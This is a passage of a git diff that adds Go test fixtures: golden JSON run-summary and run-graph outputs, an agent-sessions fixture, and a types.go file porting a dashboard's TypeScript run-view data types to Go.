+          "beadId": "dt-adopt1",
+          "iteration": {
+            "kind": "base"
+          },
+          "attempt": {
+            "kind": "untracked"
+          },
+          "label": "base",
+          "status": "ready",
+          "session": {
+            "kind": "none",
+            "reason": "not_started"
+          },
+          "currentIteration": true,
+          "historical": false
+        }
+      ],
+      "controlBadges": [
+        {
+          "id": "dt-adopt1.fin",
+          "label": "finalize",
+          "status": "pending"
+        }
+      ]
+    },
+    {
+      "id": "preflight",
+      "semanticNodeId": "preflight",
+      "title": "Preflight checks",
+      "kind": "step",
+      "constructKind": "step",
+      "status": "completed",
+      "currentBeadId": "dt-adopt1.1",
+      "scope": {
+        "kind": "scoped",
+        "ref": "gascity-packs"
+      },
+      "visibleInGraph": true,
+      "historicalOnly": false,
+      "iterationSummary": {
+        "kind": "single"
+      },
+      "attemptSummary": {
+        "kind": "none"
+      },
+      "visibleExecutionInstanceId": "dt-adopt1.1",
+      "executionInstances": [
+        {
+          "id": "dt-adopt1.1",
+          "semanticNodeId": "preflight",
+          "beadId": "dt-adopt1.1",
+          "iteration": {
+            "kind": "base"
+          },
+          "attempt": {
+            "kind": "untracked"
+          },
+          "label": "base",
+          "status": "completed",
+          "session": {
+            "kind": "none",
+            "reason": "session_unresolved"
+          },
+          "currentIteration": true,
+          "historical": false
+        }
+      ],
+      "controlBadges": []
+    },
+    {
+      "id": "rebase-check",
+      "semanticNodeId": "rebase-check",
+      "title": "Worktree rebase check",
+      "kind": "step",
+      "constructKind": "step",
+      "status": "completed",
+      "currentBeadId": "dt-adopt1.2",
+      "scope": {
+        "kind": "scoped",
+        "ref": "gascity-packs"
+      },
+      "visibleInGraph": true,
+      "historicalOnly": false,
+      "iterationSummary": {
+        "kind": "single"
+      },
+      "attemptSummary": {
+        "kind": "none"
+      },
+      "visibleExecutionInstanceId": "dt-adopt1.2",
+      "executionInstances": [
+        {
+          "id": "dt-adopt1.2",
+          "semanticNodeId": "rebase-check",
+          "beadId": "dt-adopt1.2",
+          "iteration": {
+            "kind": "base"
+          },
+          "attempt": {
+            "kind": "untracked"
+          },
+          "label": "base",
+          "status": "completed",
+          "session": {
+            "kind": "none",
+            "reason": "session_unresolved"
+          },
+          "currentIteration": true,
+          "historical": false
+        }
+      ],
+      "controlBadges": []
+    },
+    {
+      "id": "review-loop",
+      "semanticNodeId": "review-loop",
+      "title": "Review loop",
+      "kind": "step",
+      "constructKind": "step",
+      "status": "active",
+      "currentBeadId": "dt-adopt1.3",
+      "scope": {
+        "kind": "scoped",
+        "ref": "gascity-packs"
+      },
+      "visibleInGraph": true,
+      "historicalOnly": false,
+      "iterationSummary": {
+        "kind": "single"
+      },
+      "attemptSummary": {
+        "kind": "none"
+      },
+      "visibleExecutionInstanceId": "dt-adopt1.3",
+      "executionInstances": [
+        {
+          "id": "dt-adopt1.3",
+          "semanticNodeId": "review-loop",
+          "beadId": "dt-adopt1.3",
+          "iteration": {
+            "kind": "base"
+          },
+          "attempt": {
+            "kind": "untracked"
+          },
+          "label": "base",
+          "status": "active",
+          "session": {
+            "kind": "none",
+            "reason": "session_unresolved"
+          },
+          "currentIteration": true,
+          "historical": false
+        }
+      ],
+      "controlBadges": []
+    },
+    {
+      "id": "dt-adopt1.3a",
+      "semanticNodeId": "dt-adopt1.3a",
+      "title": "Claude review",
+      "kind": "step",
+      "constructKind": "step",
+      "status": "completed",
+      "currentBeadId": "dt-adopt1.3a",
+      "scope": {
+        "kind": "scoped",
+        "ref": "gascity-packs"
+      },
+      "visibleInGraph": true,
+      "historicalOnly": false,
+      "iterationSummary": {
+        "kind": "single"
+      },
+      "attemptSummary": {
+        "kind": "none"
+      },
+      "visibleExecutionInstanceId": "dt-adopt1.3a",
+      "executionInstances": [
+        {
+          "id": "dt-adopt1.3a",
+          "semanticNodeId": "dt-adopt1.3a",
+          "beadId": "dt-adopt1.3a",
+          "iteration": {
+            "kind": "base"
+          },
+          "attempt": {
+            "kind": "untracked"
+          },
+          "label": "base",
+          "status": "completed",
+          "session": {
+            "kind": "none",
+            "reason": "session_unresolved"
+          },
+          "currentIteration": true,
+          "historical": false
+        }
+      ],
+      "controlBadges": []
+    }
+  ],
+  "edges": [
+    {
+      "from": "dt-adopt1",
+      "to": "preflight",
+      "kind": "parent"
+    },
+    {
+      "from": "dt-adopt1",
+      "to": "rebase-check",
+      "kind": "parent"
+    },
+    {
+      "from": "dt-adopt1",
+      "to": "review-loop",
+      "kind": "parent"
+    },
+    {
+      "from": "dt-adopt1",
+      "to": "dt-adopt1.3a",
+      "kind": "parent"
+    }
+  ],
+  "lanes": [
+    {
+      "id": "gascity-packs",
+      "label": "gascity-packs",
+      "nodeIds": [
+        "dt-adopt1",
+        "preflight",
+        "rebase-check",
+        "review-loop",
+        "dt-adopt1.3a"
+      ]
+    }
+  ]
+}
diff --git a/internal/runproj/testdata/runsummary_enriched_golden.json b/internal/runproj/testdata/runsummary_enriched_golden.json
new file mode 100644
index 0000000000..3fd46add32
--- /dev/null
+++ b/internal/runproj/testdata/runsummary_enriched_golden.json
@@ -0,0 +1,453 @@
+{
+  "totalActive": 2,
+  "totalHistorical": 1,
+  "runCounts": {
+    "total": 2,
+    "visible": 2,
+    "prReview": 1,
+    "designReview": 0,
+    "bugfix": 0,
+    "blocked": 1,
+    "other": 1
+  },
+  "lanes": [
+    {
+      "id": "dt-wisp1",
+      "title": "mol-do-work",
+      "formula": {
+        "status": "unavailable",
+        "error": "run formula unavailable"
+      },
+      "scope": {
+        "status": "unavailable",
+        "error": "run scope metadata unavailable"
+      },
+      "external": {
+        "status": "unavailable",
+        "error": "external reference unavailable"
+      },
+      "phase": "implementation",
+      "phaseLabel": "implementation",
+      "statusCounts": {
+        "open": 1,
+        "in_progress": 1
+      },
+      "activeAssignees": [
+        "ralph-3"
+      ],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-06-02T00:05:00Z"
+      },
+      "stages": [
+        {
+          "key": "intake",
+          "label": "Intake",
+          "status": "complete"
+        },
+        {
+          "key": "implementation",
+          "label": "Implementation",
+          "status": "active"
+        },
+        {
+          "key": "review",
+          "label": "Review",
+          "status": "pending"
+        },
+        {
+          "key": "approval",
+          "label": "Approval",
+          "status": "pending"
+        },
+        {
+          "key": "finalization",
+          "label": "Finalization",
+          "status": "pending"
+        }
+      ],
+      "progress": {
+        "status": "active_step",
+        "stepId": "do-work",
+        "stage": {
+          "status": "available",
+          "index": 1,
+          "key": "implementation",
+          "label": "Implementation"
+        },
+        "attempt": {
+          "status": "unavailable",
+          "error": "run step attempt unavailable"
+        }
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "available",
+        "data": {
+          "phaseConfidence": "inferred",
+          "needsOperator": false,
+          "stuckNode": {
+            "status": "available",
+            "id": "do-work"
+          },
+          "thrashingDetected": false,
+          "session": {
+            "status": "resolved",
+            "lastActive": {
+              "status": "available",
+              "at": "2026-06-02T00:04:45Z"
+            },
+            "running": {
+              "status": "available",
+              "value": true
+            },
+            "activity": {
+              "status": "available",
+              "value": "thinking"
+            }
+          }
+        }
+      }
+    },
+    {
+      "id": "dt-adopt1",
+      "title": "PR #42: Add run-view Go projection",
+      "formula": {
+        "status": "known",
+        "name": "mol-adopt-pr-v2"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "gascity-packs",
+        "rootStoreRef": "rig:gascity-packs"
+      },
+      "external": {
+        "status": "available",
+        "label": "PR #42",
+        "url": "https://github.com/gastownhall/gascity/pull/42"
+      },
+      "phase": "review",
+      "phaseLabel": "Review loop",
+      "statusCounts": {
+        "open": 2,
+        "closed": 3,
+        "in_progress": 1
+      },
+      "activeAssignees": [
+        "polecat-1"
+      ],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-06-01T12:30:00Z"
+      },
+      "stages": [
+        {
+          "key": "preflight",
+          "label": "Preflight",
+          "status": "complete"
+        },
+        {
+          "key": "rebase",
+          "label": "Worktree / rebase",
+          "status": "complete"
+        },
+        {
+          "key": "review",
+          "label": "Review loop",
+          "status": "active"
+        },
+        {
+          "key": "ci",
+          "label": "Pre-approval CI",
+          "status": "pending"
+        },
+        {
+          "key": "approval",
+          "label": "Human approval",
+          "status": "pending"
+        },
+        {
+          "key": "finalize",
+          "label": "Merge-ready",
+          "status": "pending"
+        },
+        {
+          "key": "cleanup",
+          "label": "Cleanup",
+          "status": "pending"
+        }
+      ],
+      "progress": {
+        "status": "active_step",
+        "stepId": "review-loop",
+        "stage": {
+          "status": "available",
+          "index": 2,
+          "key": "review",
+          "label": "Review loop"
+        },
+        "attempt": {
+          "status": "available",
+          "value": 2
+        }
+      },
+      "formulaStageResolved": true,
+      "health": {
+        "status": "available",
+        "data": {
+          "phaseConfidence": "known",
+          "needsOperator": false,
+          "stuckNode": {
+            "status": "available",
+            "id": "review-loop"
+          },
+          "thrashingDetected": false,
+          "session": {
+            "status": "resolved",
+            "lastActive": {
+              "status": "available",
+              "at": "2026-06-01T12:29:30Z"
+            },
+            "running": {
+              "status": "available",
+              "value": true
+            },
+            "activity": {
+              "status": "available",
+              "value": "tool_use"
+            }
+          }
+        }
+      }
+    }
+  ],
+  "historicalLanes": [
+    {
+      "id": "dt-bugdone",
+      "title": "Issue #17: mol-bug-report-implementation-v2",
+      "formula": {
+        "status": "known",
+        "name": "mol-bug-report-implementation-v2"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "demo-app",
+        "rootStoreRef": "rig:demo-app"
+      },
+      "external": {
+        "status": "available",
+        "label": "Issue #17",
+        "url": "https://github.com/gastownhall/gascity/issues/17"
+      },
+      "phase": "complete",
+      "phaseLabel": "complete",
+      "statusCounts": {
+        "closed": 3
+      },
+      "activeAssignees": [],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-05-20T15:45:00Z"
+      },
+      "stages": [
+        {
+          "key": "plan",
+          "label": "Plan approval",
+          "status": "complete"
+        },
+        {
+          "key": "design",
+          "label": "Design review",
+          "status": "complete"
+        },
+        {
+          "key": "implement",
+          "label": "Implement",
+          "status": "complete"
+        },
+        {
+          "key": "review",
+          "label": "Code review",
+          "status": "complete"
+        },
+        {
+          "key": "pr",
+          "label": "Open PR",
+          "status": "complete"
+        },
+        {
+          "key": "ci",
+          "label": "CI",
+          "status": "complete"
+        },
+        {
+          "key": "merge",
+          "label": "Merge",
+          "status": "complete"
+        }
+      ],
+      "progress": {
+        "status": "unavailable",
+        "error": "run progress unavailable"
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "unavailable",
+        "error": "run health has not been derived"
+      }
+    }
+  ],
+  "blockedLanes": [
+    {
+      "id": "dt-latch1",
+      "title": "mol-focus-review",
+      "formula": {
+        "status": "known",
+        "name": "mol-focus-review"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "gascity-dashboard",
+        "rootStoreRef": "rig:gascity-dashboard"
+      },
+      "external": {
+        "status": "unavailable",
+        "error": "external reference unavailable"
+      },
+      "phase": "blocked",
+      "phaseLabel": "blocked",
+      "statusCounts": {
+        "blocked": 1
+      },
+      "activeAssignees": [],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-04-01T00:00:00Z"
+      },
+      "stages": [
+        {
+          "key": "blocked",
+          "label": "Blocked",
+          "status": "blocked"
+        }
+      ],
+      "progress": {
+        "status": "unavailable",
+        "error": "run progress unavailable"
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "available",
+        "data": {
+          "phaseConfidence": "inferred",
+          "needsOperator": true,
+          "stuckNode": {
+            "status": "unavailable",
+            "error": "active run step unavailable"
+          },
+          "thrashingDetected": false,
+          "session": {
+            "status": "unresolved",
+            "error": "run session unresolved"
+          }
+        }
+      }
+    }
+  ],
+  "recentChanges": [
+    {
+      "id": "dt-wisp1.1",
+      "title": "Implementation work",
+      "status": "in_progress",
+      "updatedAt": "2026-06-02T00:05:00Z"
+    },
+    {
+      "id": "dt-wisp1",
+      "title": "mol-do-work",
+      "status": "open",
+      "updatedAt": "2026-06-02T00:00:00Z"
+    },
+    {
+      "id": "dt-adopt1",
+      "title": "mol-adopt-pr-v2",
+      "status": "open",
+      "updatedAt": "2026-06-01T12:30:00Z"
+    },
+    {
+      "id": "dt-adopt1.3",
+      "title": "Review loop",
+      "status": "in_progress",
+      "updatedAt": "2026-06-01T12:30:00Z"
+    },
+    {
+      "id": "dt-adopt1.3a",
+      "title": "Claude review",
+      "status": "closed",
+      "updatedAt": "2026-06-01T11:00:00Z"
+    },
+    {
+      "id": "dt-adopt1.2",
+      "title": "Worktree rebase check",
+      "status": "closed",
+      "updatedAt": "2026-06-01T10:20:00Z"
+    },
+    {
+      "id": "dt-adopt1.1",
+      "title": "Preflight checks",
+      "status": "closed",
+      "updatedAt": "2026-06-01T10:05:00Z"
+    },
+    {
+      "id": "dt-adopt1.fin",
+      "title": "Merge and finalize",
+      "status": "open",
+      "updatedAt": "2026-06-01T10:00:30Z"
+    },
+    {
+      "id": "dt-bugdone",
+      "title": "mol-bug-report-implementation-v2",
+      "status": "closed",
+      "updatedAt": "2026-05-20T15:45:00Z"
+    },
+    {
+      "id": "dt-bugdone.2",
+      "title": "Merge and finalize",
+      "status": "closed",
+      "updatedAt": "2026-05-20T15:45:00Z"
+    },
+    {
+      "id": "dt-bugdone.1",
+      "title": "Implement change",
+      "status": "closed",
+      "updatedAt": "2026-05-20T11:00:00Z"
+    },
+    {
+      "id": "dt-latch1",
+      "title": "mol-focus-review",
+      "status": "blocked",
+      "updatedAt": "2026-04-01T00:00:00Z"
+    }
+  ],
+  "census": {
+    "status": "available",
+    "data": {
+      "byPhase": {
+        "intake": 0,
+        "implementation": 1,
+        "review": 1,
+        "approval": 0,
+        "finalization": 0,
+        "blocked": 1,
+        "complete": 0,
+        "active": 0
+      },
+      "totalInFlight": 3,
+      "unverifiable": 2,
+      "knownDenominator": 1,
+      "thrashing": 0
+    }
+  }
+}
diff --git a/internal/runproj/testdata/runsummary_golden.json b/internal/runproj/testdata/runsummary_golden.json
new file mode 100644
index 0000000000..683312440b
--- /dev/null
+++ b/internal/runproj/testdata/runsummary_golden.json
@@ -0,0 +1,380 @@
+{
+  "totalActive": 2,
+  "totalHistorical": 1,
+  "runCounts": {
+    "total": 2,
+    "visible": 2,
+    "prReview": 1,
+    "designReview": 0,
+    "bugfix": 0,
+    "blocked": 1,
+    "other": 1
+  },
+  "lanes": [
+    {
+      "id": "dt-wisp1",
+      "title": "mol-do-work",
+      "formula": {
+        "status": "unavailable",
+        "error": "run formula unavailable"
+      },
+      "scope": {
+        "status": "unavailable",
+        "error": "run scope metadata unavailable"
+      },
+      "external": {
+        "status": "unavailable",
+        "error": "external reference unavailable"
+      },
+      "phase": "implementation",
+      "phaseLabel": "implementation",
+      "statusCounts": {
+        "open": 1,
+        "in_progress": 1
+      },
+      "activeAssignees": [
+        "ralph-3"
+      ],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-06-02T00:05:00Z"
+      },
+      "stages": [
+        {
+          "key": "intake",
+          "label": "Intake",
+          "status": "complete"
+        },
+        {
+          "key": "implementation",
+          "label": "Implementation",
+          "status": "active"
+        },
+        {
+          "key": "review",
+          "label": "Review",
+          "status": "pending"
+        },
+        {
+          "key": "approval",
+          "label": "Approval",
+          "status": "pending"
+        },
+        {
+          "key": "finalization",
+          "label": "Finalization",
+          "status": "pending"
+        }
+      ],
+      "progress": {
+        "status": "active_step",
+        "stepId": "do-work",
+        "stage": {
+          "status": "available",
+          "index": 1,
+          "key": "implementation",
+          "label": "Implementation"
+        },
+        "attempt": {
+          "status": "unavailable",
+          "error": "run step attempt unavailable"
+        }
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "unavailable",
+        "error": "run health has not been derived"
+      }
+    },
+    {
+      "id": "dt-adopt1",
+      "title": "PR #42: Add run-view Go projection",
+      "formula": {
+        "status": "known",
+        "name": "mol-adopt-pr-v2"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "gascity-packs",
+        "rootStoreRef": "rig:gascity-packs"
+      },
+      "external": {
+        "status": "available",
+        "label": "PR #42",
+        "url": "https://github.com/gastownhall/gascity/pull/42"
+      },
+      "phase": "review",
+      "phaseLabel": "Review loop",
+      "statusCounts": {
+        "open": 2,
+        "closed": 3,
+        "in_progress": 1
+      },
+      "activeAssignees": [
+        "polecat-1"
+      ],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-06-01T12:30:00Z"
+      },
+      "stages": [
+        {
+          "key": "preflight",
+          "label": "Preflight",
+          "status": "complete"
+        },
+        {
+          "key": "rebase",
+          "label": "Worktree / rebase",
+          "status": "complete"
+        },
+        {
+          "key": "review",
+          "label": "Review loop",
+          "status": "active"
+        },
+        {
+          "key": "ci",
+          "label": "Pre-approval CI",
+          "status": "pending"
+        },
+        {
+          "key": "approval",
+          "label": "Human approval",
+          "status": "pending"
+        },
+        {
+          "key": "finalize",
+          "label": "Merge-ready",
+          "status": "pending"
+        },
+        {
+          "key": "cleanup",
+          "label": "Cleanup",
+          "status": "pending"
+        }
+      ],
+      "progress": {
+        "status": "active_step",
+        "stepId": "review-loop",
+        "stage": {
+          "status": "available",
+          "index": 2,
+          "key": "review",
+          "label": "Review loop"
+        },
+        "attempt": {
+          "status": "available",
+          "value": 2
+        }
+      },
+      "formulaStageResolved": true,
+      "health": {
+        "status": "unavailable",
+        "error": "run health has not been derived"
+      }
+    }
+  ],
+  "historicalLanes": [
+    {
+      "id": "dt-bugdone",
+      "title": "Issue #17: mol-bug-report-implementation-v2",
+      "formula": {
+        "status": "known",
+        "name": "mol-bug-report-implementation-v2"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "demo-app",
+        "rootStoreRef": "rig:demo-app"
+      },
+      "external": {
+        "status": "available",
+        "label": "Issue #17",
+        "url": "https://github.com/gastownhall/gascity/issues/17"
+      },
+      "phase": "complete",
+      "phaseLabel": "complete",
+      "statusCounts": {
+        "closed": 3
+      },
+      "activeAssignees": [],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-05-20T15:45:00Z"
+      },
+      "stages": [
+        {
+          "key": "plan",
+          "label": "Plan approval",
+          "status": "complete"
+        },
+        {
+          "key": "design",
+          "label": "Design review",
+          "status": "complete"
+        },
+        {
+          "key": "implement",
+          "label": "Implement",
+          "status": "complete"
+        },
+        {
+          "key": "review",
+          "label": "Code review",
+          "status": "complete"
+        },
+        {
+          "key": "pr",
+          "label": "Open PR",
+          "status": "complete"
+        },
+        {
+          "key": "ci",
+          "label": "CI",
+          "status": "complete"
+        },
+        {
+          "key": "merge",
+          "label": "Merge",
+          "status": "complete"
+        }
+      ],
+      "progress": {
+        "status": "unavailable",
+        "error": "run progress unavailable"
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "unavailable",
+        "error": "run health has not been derived"
+      }
+    }
+  ],
+  "blockedLanes": [
+    {
+      "id": "dt-latch1",
+      "title": "mol-focus-review",
+      "formula": {
+        "status": "known",
+        "name": "mol-focus-review"
+      },
+      "scope": {
+        "status": "available",
+        "kind": "rig",
+        "ref": "gascity-dashboard",
+        "rootStoreRef": "rig:gascity-dashboard"
+      },
+      "external": {
+        "status": "unavailable",
+        "error": "external reference unavailable"
+      },
+      "phase": "blocked",
+      "phaseLabel": "blocked",
+      "statusCounts": {
+        "blocked": 1
+      },
+      "activeAssignees": [],
+      "updatedAt": {
+        "status": "available",
+        "at": "2026-04-01T00:00:00Z"
+      },
+      "stages": [
+        {
+          "key": "blocked",
+          "label": "Blocked",
+          "status": "blocked"
+        }
+      ],
+      "progress": {
+        "status": "unavailable",
+        "error": "run progress unavailable"
+      },
+      "formulaStageResolved": false,
+      "health": {
+        "status": "unavailable",
+        "error": "run health has not been derived"
+      }
+    }
+  ],
+  "recentChanges": [
+    {
+      "id": "dt-wisp1.1",
+      "title": "Implementation work",
+      "status": "in_progress",
+      "updatedAt": "2026-06-02T00:05:00Z"
+    },
+    {
+      "id": "dt-wisp1",
+      "title": "mol-do-work",
+      "status": "open",
+      "updatedAt": "2026-06-02T00:00:00Z"
+    },
+    {
+      "id": "dt-adopt1",
+      "title": "mol-adopt-pr-v2",
+      "status": "open",
+      "updatedAt": "2026-06-01T12:30:00Z"
+    },
+    {
+      "id": "dt-adopt1.3",
+      "title": "Review loop",
+      "status": "in_progress",
+      "updatedAt": "2026-06-01T12:30:00Z"
+    },
+    {
+      "id": "dt-adopt1.3a",
+      "title": "Claude review",
+      "status": "closed",
+      "updatedAt": "2026-06-01T11:00:00Z"
+    },
+    {
+      "id": "dt-adopt1.2",
+      "title": "Worktree rebase check",
+      "status": "closed",
+      "updatedAt": "2026-06-01T10:20:00Z"
+    },
+    {
+      "id": "dt-adopt1.1",
+      "title": "Preflight checks",
+      "status": "closed",
+      "updatedAt": "2026-06-01T10:05:00Z"
+    },
+    {
+      "id": "dt-adopt1.fin",
+      "title": "Merge and finalize",
+      "status": "open",
+      "updatedAt": "2026-06-01T10:00:30Z"
+    },
+    {
+      "id": "dt-bugdone",
+      "title": "mol-bug-report-implementation-v2",
+      "status": "closed",
+      "updatedAt": "2026-05-20T15:45:00Z"
+    },
+    {
+      "id": "dt-bugdone.2",
+      "title": "Merge and finalize",
+      "status": "closed",
+      "updatedAt": "2026-05-20T15:45:00Z"
+    },
+    {
+      "id": "dt-bugdone.1",
+      "title": "Implement change",
+      "status": "closed",
+      "updatedAt": "2026-05-20T11:00:00Z"
+    },
+    {
+      "id": "dt-latch1",
+      "title": "mol-focus-review",
+      "status": "blocked",
+      "updatedAt": "2026-04-01T00:00:00Z"
+    }
+  ],
+  "census": {
+    "status": "unavailable",
+    "error": "run health has not been derived"
+  }
+}
diff --git a/internal/runproj/testdata/sessions_fixture.json b/internal/runproj/testdata/sessions_fixture.json
new file mode 100644
index 0000000000..e8b1858a24
--- /dev/null
+++ b/internal/runproj/testdata/sessions_fixture.json
@@ -0,0 +1,40 @@
+[
+  {
+    "id": "sess-polecat-1",
+    "template": "polecat",
+    "session_name": "gascity-packs__polecat-1",
+    "title": "Polecat 1",
+    "alias": "polecat-1",
+    "state": "active",
+    "display_name": "Claude Code",
+    "created_at": "2026-06-01T10:00:00Z",
+    "last_active": "2026-06-01T12:29:30Z",
+    "attached": false,
+    "rig": "gascity-packs",
+    "pool": "polecats",
+    "agent_kind": "pool",
+    "running": true,
+    "model": "claude-opus-4-8",
+    "activity": "tool_use",
+    "provider": "claude"
+  },
+  {
+    "id": "sess-ralph-3",
+    "template": "ralph",
+    "session_name": "demo-app__ralph-3",
+    "title": "Ralph 3",
+    "alias": "ralph-3",
+    "state": "active",
+    "display_name": "Codex",
+    "created_at": "2026-06-02T00:00:00Z",
+    "last_active": "2026-06-02T00:04:45Z",
+    "attached": false,
+    "rig": "demo-app",
+    "pool": "ralphs",
+    "agent_kind": "pool",
+    "running": true,
+    "model": "gpt-5-codex",
+    "activity": "thinking",
+    "provider": "codex"
+  }
+]
diff --git a/internal/runproj/testenv_import_test.go b/internal/runproj/testenv_import_test.go
new file mode 100644
index 0000000000..a94e4c44ff
--- /dev/null
+++ b/internal/runproj/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package runproj
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/runproj/types.go b/internal/runproj/types.go
new file mode 100644
index 0000000000..6995a465fe
--- /dev/null
+++ b/internal/runproj/types.go
@@ -0,0 +1,253 @@
+package runproj
+
+// RunSummary is the dashboard run-view DTO, a faithful Go port of the
+// TypeScript RunSummary in
+// internal/api/dashboardspa/web/shared/src/snapshot/types.ts. Field order here
+// is load-bearing: the golden-parity test marshals this struct with the same
+// canonical JSON the TS generator used (JSON.stringify(..., 2)), so the JSON
+// key order must match the TS object-literal key order in
+// shared/src/runs/summary.ts (buildRunSummary).
+type RunSummary struct {
+	// TotalActive counts ACTIVE lanes (phase neither "complete" nor "blocked").
+	TotalActive int `json:"totalActive"`
+	// TotalHistorical is the TRUE count of completed lanes (may exceed
+	// len(HistoricalLanes) once the cap applies).
+	TotalHistorical int            `json:"totalHistorical"`
+	RunCounts       RunCounts      `json:"runCounts"`
+	Lanes           []RunLane      `json:"lanes"`
+	HistoricalLanes []RunLane      `json:"historicalLanes"`
+	BlockedLanes    []RunLane      `json:"blockedLanes"`
+	RecentChanges   []RunChange    `json:"recentChanges"`
+	Census          RunCensusState `json:"census"`
+	// LanesPartial is set only when the builder ran in partial mode; omitted
+	// otherwise (TS optional literal `true`).
+	LanesPartial bool `json:"lanesPartial,omitempty"`
+}
+
+// RunCounts is the per-kind lane tally. Port of TS RunCounts.
+type RunCounts struct {
+	Total int `json:"total"`
+	// Visible equals Total (RunMap owns the rendered collapse; deprecated in TS).
+	Visible      int `json:"visible"`
+	PrReview     int `json:"prReview"`
+	DesignReview int `json:"designReview"`
+	Bugfix       int `json:"bugfix"`
+	Blocked      int `json:"blocked"`
+	Other        int `json:"other"`
+}
+
+// RunLane is a single run lane. Port of TS RunLane. Field order matches the
+// object literal returned by runLane() in summary.ts.
+type RunLane struct {
+	ID              string                   `json:"id"`
+	Title           string                   `json:"title"`
+	Formula         RunLaneFormula           `json:"formula"`
+	Scope           RunLaneScope             `json:"scope"`
+	External        RunLaneExternalReference `json:"external"`
+	Phase           string                   `json:"phase"`
+	PhaseLabel      string                   `json:"phaseLabel"`
+	StatusCounts    StatusCounts             `json:"statusCounts"`
+	ActiveAssignees []string                 `json:"activeAssignees"`
+	UpdatedAt       RunLaneUpdatedAt         `json:"updatedAt"`
+	Stages          []RunStage               `json:"stages"`
+	Progress        RunLaneProgress          `json:"progress"`
+	// FormulaStageResolved is true when stages came from a recognized formula
+	// AND the active gc.step_id mapped into one of those formula stages.
+	FormulaStageResolved bool               `json:"formulaStageResolved"`
+	Health               RunLaneHealthState `json:"health"`
+}
+
+// RunLaneFormula is the discriminated formula-identity union. TS RunLaneFormula:
+// {status:'known', name} | {status:'unavailable', error}. Marshaled via a custom
+// MarshalJSON so only the active arm's fields appear.
+type RunLaneFormula struct {
+	Status string // "known" | "unavailable"
+	Name   string
+	Error  string
+}
+
+// RunLaneScope is the lane scope union. TS Avail<{kind, ref, rootStoreRef}>:
+// {status:'available', kind, ref, rootStoreRef} | {status:'unavailable', error}.
+type RunLaneScope struct {
+	Status       string // "available" | "unavailable"
+	Kind         string
+	Ref          string
+	RootStoreRef string
+	Error        string
+}
+
+// RunLaneExternalReference is the external-reference union. TS:
+// {status:'available', label, url} | {status:'label_only', label} |
+// {status:'unavailable', error}.
+type RunLaneExternalReference struct {
+	Status string // "available" | "label_only" | "unavailable"
+	Label  string
+	URL    string
+	Error  string
+}
+
+// RunLaneUpdatedAt is the updated-at union. TS Avail<{at}>.
+type RunLaneUpdatedAt struct {
+	Status string // "available" | "unavailable"
+	At     string
+	Error  string
+}
+
+// StatusCounts is a per-status tally that preserves first-seen status order, so
+// it serializes in the same key order the TS `Record<string, number>` does (JS
+// objects keep insertion order; a Go map would sort keys and break parity).
+type StatusCounts struct {
+	keys   []string
+	counts map[string]int
+}
+
+// inc records one occurrence of status, tracking first-seen order.
+func (s *StatusCounts) inc(status string) {
+	if s.counts == nil {
+		s.counts = map[string]int{}
+	}
+	if _, ok := s.counts[status]; !ok {
+		s.keys = append(s.keys, status)
+	}
+	s.counts[status]++
+}
+
+// MarshalJSON renders the counts in first-seen order.
+func (s StatusCounts) MarshalJSON() ([]byte, error) {
+	pairs := make([]kv, 0, len(s.keys))
+	for _, k := range s.keys {
+		pairs = append(pairs, kv{k, s.counts[k]})
+	}
+	return marshalObject(pairs)
+}
+
+// RunStage is one stage in a lane's ladder. Port of TS RunStage.
+type RunStage struct {
+	Key    string `json:"key"`
+	Label  string `json:"label"`
+	Status string `json:"status"` // "pending" | "active" | "complete" | "blocked"
+}
+
+// RunLaneProgress is the lane-progress union. TS RunLaneProgress:
+// {status:'active_step', stepId, stage, attempt} |
+// {status:'stage_only', stage, error} | {status:'unavailable', error}.
+type RunLaneProgress struct {
+	Status  string // "active_step" | "stage_only" | "unavailable"
+	StepID  string
+	Stage   RunLaneStagePosition
+	Attempt RunLaneStepAttempt
+	Error   string
+}
+
+// RunLaneStagePosition is the active-stage union. TS Avail<{index, key, label}>.
+type RunLaneStagePosition struct {
+	Status string // "available" | "unavailable"
+	Index  int
+	Key    string
+	Label  string
+	Error  string
+}
+
+// RunLaneStepAttempt is the step-attempt union. TS Avail<{value}>.
+type RunLaneStepAttempt struct {
+	Status string // "available" | "unavailable"
+	Value  int
+	Error  string
+}
+
+// RunLaneHealthState is the lane-health union. TS Avail<{data}>. BuildRunSummary
+// emits the unavailable arm; EnrichRunSummary replaces it with the available arm
+// carrying the derived RunLaneHealth.
+type RunLaneHealthState struct {
+	Status string // "available" | "unavailable"
+	Data   RunLaneHealth
+	Error  string
+}
+
+// RunLaneHealth is the engine-derived per-lane health. Port of TS RunLaneHealth.
+// Field order matches the object literal built in deriveRunHealth (health.ts).
+type RunLaneHealth struct {
+	PhaseConfidence   string // "known" | "inferred"
+	NeedsOperator     bool
+	StuckNode         RunLaneStuckNode
+	ThrashingDetected bool
+	Session           RunLaneSessionState
+}
+
+// RunLaneStuckNode is the stuck-node union. TS Avail<{id}>.
+type RunLaneStuckNode struct {
+	Status string // "available" | "unavailable"
+	ID     string
+	Error  string
+}
+
+// RunLaneSessionState is the resolved-session union. TS RunLaneSessionState:
+// {status:'resolved', lastActive, running, activity} | {status:'unresolved', error}.
+type RunLaneSessionState struct {
+	Status     string // "resolved" | "unresolved"
+	LastActive RunLaneSessionLastActive
+	Running    RunLaneSessionRunning
+	Activity   RunLaneSessionActivity
+	Error      string
+}
+
